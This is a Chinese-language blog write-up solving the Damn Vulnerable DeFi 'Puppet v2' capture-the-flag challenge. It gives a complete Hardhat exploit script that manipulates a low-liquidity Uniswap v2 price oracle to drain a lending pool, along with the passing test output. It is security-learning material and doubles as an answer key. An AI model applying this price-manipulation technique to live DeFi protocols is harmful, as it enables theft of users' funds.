# Damn Vulnerable DeFi 挑战记录 #9 - Puppet v2 

**Published by:** [Runstar](https://paragraph.com/@runstar/)
**Published on:** 2022-07-28
**URL:** https://paragraph.com/@runstar/damn-vulnerable-defi-9-puppet-v2

## Content

Challenge #9 - Puppet v2 The developers of the last lending pool are saying that they've learned the lesson. And just released a new version! Now they're using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough. You start with 20 ETH and 10000 DVT tokens in balance. The new lending pool has a million DVT tokens in balance. You know what to do ;) See the contracts Complete the challenge UniswapV2 文档UniswapV2Library.sol 目标: 取走借贷池中所有DVT token after(async function () { /** SUCCESS CONDITIONS */ // Attacker has taken all tokens from the pool expect(await this.token.balanceOf(this.lendingPool.address)).to.be.eq("0"); expect(await this.token.balanceOf(attacker.address)).to.be.gte(POOL_INITIAL_TOKEN_BALANCE); }); 攻击思路: 本关将UniswapV1升级至UniswapV2, 但本质上是由于交易对中流动性过低导致币价可以被轻易操控, 而借贷池预言机又来自于UniswapV2, 因此攻击思路与上一关相同 代码示例: it("Exploit", async function () { /** CODE YOUR EXPLOIT HERE */ await this.token .connect(attacker) .approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE); await this.uniswapRouter .connect(attacker) .swapExactTokensForETH( ATTACKER_INITIAL_TOKEN_BALANCE, 1, [this.token.address, this.uniswapRouter.WETH()], attacker.address, (await ethers.provider.getBlock("latest")).timestamp * 2, ); const collateral = await this.lendingPool.calculateDepositOfWETHRequired( POOL_INITIAL_TOKEN_BALANCE, ); await this.weth.connect(attacker).deposit({ value: collateral }); await this.weth.connect(attacker).approve(this.lendingPool.address, collateral); await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE); }); 运行通过 ❯ yarn run puppet-v2 yarn run v1.22.19 warning ../../package.json: No license field $ yarn hardhat test test/puppet-v2/puppet-v2.challenge.js warning ../../package.json: No license field $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/puppet-v2/puppet-v2.challenge.js [Challenge] Puppet v2 ✓ Exploit (608ms) 1 passing (4s) Done in 6.14s. Twitter: @0xRunstar

## Publication Information

- [Runstar](https://paragraph.com/@runstar/): Publication homepage
- [All Posts](https://paragraph.com/@runstar/): More posts from this publication
- [RSS Feed](https://api.paragraph.com/blogs/rss/@runstar): Subscribe to updates
- [Twitter](https://twitter.com/0xRunstar): Follow on Twitter